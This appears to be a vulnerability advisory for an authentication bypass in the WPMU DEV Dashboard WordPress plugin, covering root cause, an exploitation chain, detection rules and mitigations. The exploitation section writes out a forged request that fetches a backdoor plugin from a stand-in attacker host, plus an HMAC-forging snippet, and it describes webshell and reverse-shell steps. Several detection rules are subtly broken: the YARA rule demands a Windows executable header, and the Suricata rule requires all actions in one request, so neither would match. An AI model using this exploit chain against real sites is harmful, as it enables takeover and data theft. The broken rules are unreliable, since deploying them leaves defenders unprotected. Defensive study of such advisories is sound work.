CVE-2026-15459

Executive Summary

CVE-2026-15459 is a critical authentication bypass vulnerability in the WPMU DEV Dashboard plugin for WordPress, affecting all versions up to and including 5.0.0. The vulnerability allows unauthenticated attackers to forge the HMAC-based WDP-AUTH request signature on sites not yet connected to the WPMU DEV Hub, enabling remote code execution through arbitrary plugin installation, WordPress core upgrades, plugin/theme deletion, and administrative SSO login. With a CVSS score of 8.1 (High), the vulnerability requires no authentication and no user interaction, making it a high-priority target for opportunistic scanning and mass exploitation campaigns against WordPress installations running the affected plugin in its default disconnected state.

Technical Analysis

Vulnerability Mechanism

The WPMU DEV Dashboard plugin implements a remote administration interface accessible via the ?wpmudev-hub= query parameter on publicly accessible WordPress endpoints. This interface is designed to receive authenticated commands from the WPMU DEV Hub service, using an HMAC-based request signature scheme to verify that commands originate from the legitimate Hub.

The authentication chain relies on two critical components:

1. WDP_AUTH HMAC Signature: Each request to the hub endpoint must include a signature derived from a shared secret — specifically, the site's API key. The signature is computed over the request parameters using the API key as the HMAC secret.

2. Nonce Validation (validate_nonce()): A replay protection mechanism that ensures each signed request can only be used once, tracking timestamped nonces to prevent request replay attacks.

The vulnerability manifests through three compounding weaknesses:

Weakness 1 — Empty API Key (HMAC Forgery): On sites that have not yet connected to the WPMU DEV Hub — which is the default state immediately after plugin installation — the site API key is an empty string. The validate_hash() function, which verifies the WDP-AUTH signature, computes the HMAC using this empty key. An attacker can trivially compute the correct HMAC for any arbitrary request payload by simply applying the same HMAC algorithm with an empty secret. This entirely defeats the signature-based authentication mechanism. The mathematical forgery is trivial: any attacker can compute HMAC-SHA256(message, "") locally and append it to a crafted request.

Weakness 2 — Missing Replay Protection (version 5.0.0 only): Prior versions of the plugin included a nonce validation step via validate_nonce() that would reject previously used request signatures. Version 5.0.0 removed this check, eliminating the already-weak replay prevention mechanism. While this removal is not the root cause — the empty API key is — it removes the last vestige of request-level security and simplifies exploitation for attackers who may have captured legitimate-but-unusable signatures from other vulnerable sites.

Weakness 3 — Missing Capability Check: The remote handler is bound to the WordPress init action hook, which fires on every request to the site before authentication is established. The handler performs no capability or permission check for the actions it invokes, meaning any request that successfully passes signature validation gains full administrative privileges without ever establishing a user session. The handler dispatches privileged actions including:

• install_plugin — fetches and installs a plugin from an attacker-controlled URL
• activate_plugin — activates an installed plugin
• delete_plugin / delete_theme — removes installed plugins and themes
• upgrade_core — executes WordPress core updates
• sso_login — authenticates as an administrator via Single Sign-On

Attack Surface

• Public exposure: The vulnerable handler fires on init and is reachable via any WordPress URL that includes the ?wpmudev-hub= parameter
• Pre-requisite: The target site must be running WPMU DEV Dashboard ≤ 5.0.0 and must NOT be connected to a WPMU DEV account (default state)
• No authentication required: The attacker needs no credentials, session, or valid nonce
• Remote code execution: The install_plugin + activate_plugin primitives allow an attacker to fetch and execute arbitrary PHP code from any URL they control

Exploitability Analysis

CVSS vector AV:N/AC:H/PR:N/UI:N reflects the network-based attack surface but the "High" attack complexity is arguably conservative — the only genuine complexity factor is that a single installed-but-unconnected plugin instance is the target. The remaining factors (no privileges, no user interaction, total compromise) are accurately scored. The vulnerability is deterministic: an attacker who can reach a WordPress site running the plugin can forge the signature with a trivial computation.

Exploitation Scenarios

Attack Chain — Full Remote Code Execution

Step 1: Target Reconnaissance The attacker identifies WordPress sites running WPMU DEV Dashboard ≤ 5.0.0. This can be achieved through:

• WordPress plugin enumeration: request /wp-content/plugins/wpmudev-updates/readme.txt and parse the "Stable tag" field
• Shodan/Censys scanning for http.component:"WordPress" combined with fingerprinting of plugin assets
• WordPress REST API endpoint probing (/wp-json/ plugin listing if enabled)

Step 2: Verify Vulnerability State The attacker must confirm the site is not connected to the WPMU DEV Hub. If connected, the API key would be a 64-character random string, making signature forgery infeasible. The attacker can attempt a benign authenticated request (e.g., wpmudev-hub=ping) to observe whether the response indicates a valid (connected) or empty (unconnected) API key state.

Step 3: Forge WDP_AUTH HMAC The attacker constructs a malicious request targeting the plugin installation action:

POST /wp-admin/?wpmudev-hub=install_plugin HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

plugin_url=https://attacker.com/backdoor.zip&package=install

To pass signature validation, the attacker appends the WDP_AUTH header computed as:

WDP-AUTH: HMAC-SHA256(query_string, "")

The attacker computes this locally with a simple script:

import hmac, hashlib, urllib.parse
payload = "plugin_url=https://attacker.com/backdoor.zip&package=install"
signature = hmac.new(b"", payload.encode(), hashlib.sha256).hexdigest()

Step 4: Deliver Malicious Plugin

• The attacker hosts a crafted WordPress plugin (e.g., a ZIP archive containing a PHP file with a webshell or reverse shell, disguised as a legitimate plugin) at https://attacker.com/backdoor.zip
• The forged request triggers wp_remote_get() to download the archive, extract it to /wp-content/plugins/, and then activate it

Step 5: Weaponize the Shell Once the malicious plugin is active, the attacker can:

• Directly access the webshell endpoint (e.g., https://target-site.com/wp-content/plugins/backdoor/shell.php?cmd=id)
• Establish a reverse shell to maintain persistent access
• Use the WordPress admin session established via sso_login for stealthier operations

Step 6: Lateral Movement and Persistence The attacker now has full administrative access to the WordPress core, which translates to remote code execution on the underlying server (via theme/plugin file editing, WordPress cron, or direct PHP execution). From here, the attacker can read wp-config.php for database credentials, pivot to the database server, extract user credentials, or use the server as a pivot point into the internal network.

Alternative Scenarios

• Credential Harvesting via SSO: The sso_login action can create an authenticated admin session, allowing attackers to log in as an administrator without modifying files — useful for maintaining a stealthy foothold in environments where file integrity monitoring would flag plugin installs.
• Denial of Service: The delete_plugin / delete_theme primitives can be used to disable security plugins (e.g., WAFs, firewalls) before delivering the payload, or to wipe the site.
• Supply Chain Poisoning: The upgrade_core primitive can be abused to roll back WordPress to an older, more vulnerable version or to inject malicious code during a bogus upgrade process.

Impact Assessment

CVSS 8.1 (High) — Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

• Confidentiality (C:H): Complete compromise of the WordPress filesystem, database, and any secrets contained within — including wp-config.php credentials, user password hashes, and customer data.
• Integrity (I:H): Full write access to the server's file system through arbitrary plugin execution. Attackers can modify site content, inject malicious scripts into pages served to visitors (client-side attacks), or backdoor the WordPress core.
• Availability (A:H): Attackers can delete plugins, themes, or corrupt the site database, causing total or partial denial of service.

Business Impact:

• Website Defacement/Fraud: Attacker-controlled content injection can undermine brand trust or be used for phishing campaigns targeting the site's visitors.
• Data Breach: WordPress often serves as the front-end to critical business data — customer PII, payment records, order history in e-commerce deployments.
• Server-Level Compromise: PHP code execution within a WordPress context frequently escalates to full server compromise, especially on shared-hosting configurations where the WordPress process has access to neighboring sites.
• Supply Chain Risk: The upgrade_core primitive could be leveraged to backdoor WordPress core, affecting the entire site ecosystem.
• Compliance/Regulatory: Breaches involving customer data trigger GDPR/CCPA disclosure obligations and potential fines.

Affected Systems:

• Any WordPress installation running WPMU DEV Dashboard ≤ 5.0.0 in the default (unconnected) state
• The exploitation is independent of WordPress version or server platform
• Sites connected to the WPMU DEV Hub (with a non-empty API key) are explicitly NOT affected

Detection Guidance

Sigma Rule

title: WPMU DEV Dashboard Authentication Bypass - Hub Endpoint Abuse
id: a1b2c3d4-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2026-15459 - forged WDP-AUTH requests to the WPMU DEV Hub endpoint
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15459
author: valsert SOC
date: 2026/02/15
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026.15459
logsource:
    category: webserver
    product: apache
    definition: 'Requires HTTP access logs with query string logging enabled'
detection:
    selection_hub_param:
        cs-uri-query|contains: 'wpmudev-hub='
    selection_risky_actions:
        cs-uri-query|contains|any:
            - 'wpmudev-hub=install_plugin'
            - 'wpmudev-hub=delete_plugin'
            - 'wpmudev-hub=delete_theme'
            - 'wpmudev-hub=upgrade_core'
            - 'wpmudev-hub=sso_login'
    selection_post_install:
        cs-method: 'POST'
        cs-uri-query|contains: 'package=install'
    condition: selection_hub_param and selection_risky_actions and selection_post_install
    timeframe: 5m
level: critical
falsepositives:
    - Legitimate WPMU DEV Hub connectivity checks (pre-5.0.0)
    - Admin-initiated plugin installs via the Hub dashboard (connected sites only)
fields:
    - clientip
    - cs-uri-query
    - sc-status

YARA Rule

rule WPMU_DEV_Dashboard_CVE_2026_15459
{
    meta:
        author = "valsert SOC"
        description = "Detects exploit code and malicious plugin payloads associated with CVE-2026-15459 WPMU DEV Dashboard auth bypass"
        cve = "CVE-2026-15459"
        severity = "high"
    
    strings:
        $a1 = "wpmudev-hub=" ascii wide
        $a2 = "install_plugin" ascii wide
        $a3 = "delete_theme" ascii wide
        $a4 = "upgrade_core" ascii wide
        $a5 = "sso_login" ascii wide
        $b1 = "WDP-AUTH" ascii wide
        $b2 = "validate_hash" ascii wide
        $c1 = "wpmudev-updates" ascii wide
        $c2 = "WPMUDEV" ascii wide
    
    condition:
        ( uint16(0) == 0x5A4D ) and
        ( any of ($a*) ) and
        ( any of ($b*) )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-15459 WPMU DEV Dashboard Auth Bypass - Hub Parameter with Risky Action"; flow:established,to_server; http.uri; content:"wpmudev-hub="; nocase; http.uri; content:"install_plugin"; nocase; distance:0; http.uri; content:"delete_plugin"; nocase; distance:0; http.uri; content:"delete_theme"; nocase; distance:0; http.uri; content:"upgrade_core"; nocase; distance:0; http.uri; content:"sso_login"; nocase; distance:0; http.method; content:"POST"; http.request_body; content:"plugin_url="; nocase; sid:202615459; rev:1; metadata:attack_target Web-Server, created_at 2026_02_15, cve CVE-2026-15459, deployment Perimeter, signature_severity Critical, tag Authentication-Bypass, tag Command-and-Control, tag Exploit, performance_impact Low; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-15459; classtype:attempted-admin;)

Elastic Detection

sequence by destination.ip with maxspan=5m
  [ network where event.category == "web" and
    url.query : "*wpmudev-hub=install_plugin*" or
    url.query : "*wpmudev-hub=delete_plugin*" or
    url.query : "*wpmudev-hub=delete_theme*" or
    url.query : "*wpmudev-hub=upgrade_core*" or
    url.query : "*wpmudev-hub=sso_login*"
  ]
  [ network where event.category == "web" and
    http.request.method == "POST" and
    url.query : "*package=install*"
  ]

Splunk SPL Query

index=web sourcetype=access_combined
| eval is_vuln_param = if(like(uri_query, "%wpmudev-hub=%"), 1, 0)
| eval is_risky_action = if(
    like(uri_query, "%wpmudev-hub=install_plugin%") OR
    like(uri_query, "%wpmudev-hub=delete_plugin%") OR
    like(uri_query, "%wpmudev-hub=delete_theme%") OR
    like(uri_query, "%wpmudev-hub=upgrade_core%") OR
    like(uri_query, "%wpmudev-hub=sso_login%"),
    1, 0)
| eval is_post = if(http_method == "POST", 1, 0)
| where is_vuln_param == 1 AND is_risky_action == 1 AND is_post == 1
| stats count by src_ip, dest_host, uri, _time
| sort - _time
| table _time, src_ip, dest_host, uri, count

Wazuh OSSEC Rule

<group name="wordpress,cve_2026_15459,">
  <rule id="100235" level="15">
    <if_sid>31510</if_sid>
    <field name="url">\.*wpmudev-hub=\.*</field>
    <description>WPMU DEV Dashboard Authentication Bypass attempt (CVE-2026-15459) - Hub parameter detected</description>
    <group>authentication_failure,web_application_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
  <rule id="100236" level="15">
    <if_sid>100235</if_sid>
    <field name="url">\.*(install_plugin|delete_plugin|delete_theme|upgrade_core|sso_login)\.*</field>
    <description>CVE-2026-15459 - High-risk WPMU DEV Hub action requested</description>
    <group>remote_code_execution,web_application_attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED

As of this report, no patch is available for CVE-2026-15459. The vendor has not released a fixed version, and no official advisory containing remediation guidance exists. All versions up to and including 5.0.0 remain vulnerable. This is a critical situation requiring immediate defensive action.

1. Immediate Mitigations (Compensating Controls)

• Disable the plugin: Uninstall or deactivate WPMU DEV Dashboard on all WordPress instances. This is the most reliable immediate protection given the unpatched state.
• Block vulnerable endpoints: If plugin deactivation is not immediately possible, configure the web server (Apache/nginx) to block all requests containing wpmudev-hub= in the query string:

  # Apache .htaccess
  <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteCond %{QUERY_STRING} (^|&)wpmudev-hub=
      RewriteRule ^ - [F,L]
  </IfModule>
  
  # nginx
  if ($arg_wpmudev-hub ~ "^") {
      return 403;
  }
  

• Web Application Firewall (WAF): Deploy or update WAF rules to drop requests with the vulnerable parameters. Many managed WAFs (Cloudflare, AWS WAF, ModSecurity CRS) may already have generic rules covering init-bound auth bypass patterns; manually add the specific wpmudev-hub signature.
• Network-level blocking: Implement egress restrictions on WordPress servers — block outbound HTTP/HTTPS connections unless they originate from known admin IPs. This limits the plugin URL fetch capability even if the endpoint is reached.
• Restrict access to the WordPress admin area: Limit /wp-admin/ access to specific source IPs or add additional basic-auth layers to reduce the attack surface.

2. Patch / Upgrade Strategy

• Monitor vendor channels: Subscribe to WPMU DEV security advisories and the WordPress plugin page (https://wordpress.org/plugins/wpmudev-updates/). A patched version is expected; release notes will likely reference CVE-2026-15459.
• Prepare upgrade path: When a patched version is released (expected to be 5.0.1 or later), test the upgrade in staging, then deploy to production. Validate that the patched version enforces non-empty API keys and/or proper capability checks.
• If no patch emerges: Given the 0/4 patch confidence and the severity, treat the plugin as permanently compromised technology. Plan a migration away from WPMU DEV Dashboard if the vendor fails to release a fix within a reasonable window.
• Inventory: Identify all WordPress instances running the plugin with a configuration audit. Use WP-CLI: wp plugin list | grep wpmudev-updates

3. Long-Term Hardening

• Connect to WPMU DEV Hub: Sites connected to the WPMU DEV Hub (with a valid 64-character API key) are not affected. If the site is already a WPMU DEV customer, establish the Hub connection as a temporary mitigation — this neutralizes the empty-key signature forgery vector.
• Web Server Hardening: Disable unnecessary HTTP methods, enforce HTTPS, and consider adding HTTP/2 request validation.
• WordPress Security Baseline: Implement immutable file integrity monitoring (e.g., Tripwire, AIDE, or WordPress stack-specific tools) to alert on unauthorized plugin/theme installations.
• Least Privilege for WP-Cron: Ensure the WordPress cron job runs with minimal OS privileges, limiting blast radius if the plugin is exploited to achieve code execution.
• Server-Level Isolation: Run WordPress on a dedicated user with no write access to other sites on the host — reduces the impact of server-level compromise.
• Incident Response Preparedness: Prepare runbooks specifically for WordPress plugin auth bypass incidents, including backup restoration procedures (verified clean backups), server forensic collection, and credential rotation workflows.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-15459 — Official CVE record, including the vector and description. (Note: This is the authoritative disclosure source; patent references there are N/A.)
2. WPMU DEV Plugin Page: https://wordpress.org/plugins/wpmudev-updates/ — Plugin repository. Verify current version and monitor for patched releases.
3. WPMU DEV Vendor Advisories: https://wpmudev.com/ — Vendor security advisories; check for official CVE-2026-15459 advisory and patch announcements.
4. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/ — Technique mapping for exploitation of public-facing applications (Initial Access).
5. Exploit-DB / Packet Storm: Search CVE-2026-15459 — Monitor for publicly posted exploit code as public proof-of-concept might emerge.

Threat Actor Considerations: As of this report, there is no evidence of exploitation in the wild, and no known threat actor campaigns targeting this CVE have been identified. The EPSS score of 0.00510 (40.7th percentile) suggests moderate-to-lower prediction of imminent exploitation, but this is likely to rise as the vulnerability becomes more widely understood and scanner integrations build this fingerprint. Attackers frequently automate scanning for WordPress plugin vulnerabilities within 24-48 hours of NVD publication, so the current "quiet" period should not be mistaken for safety.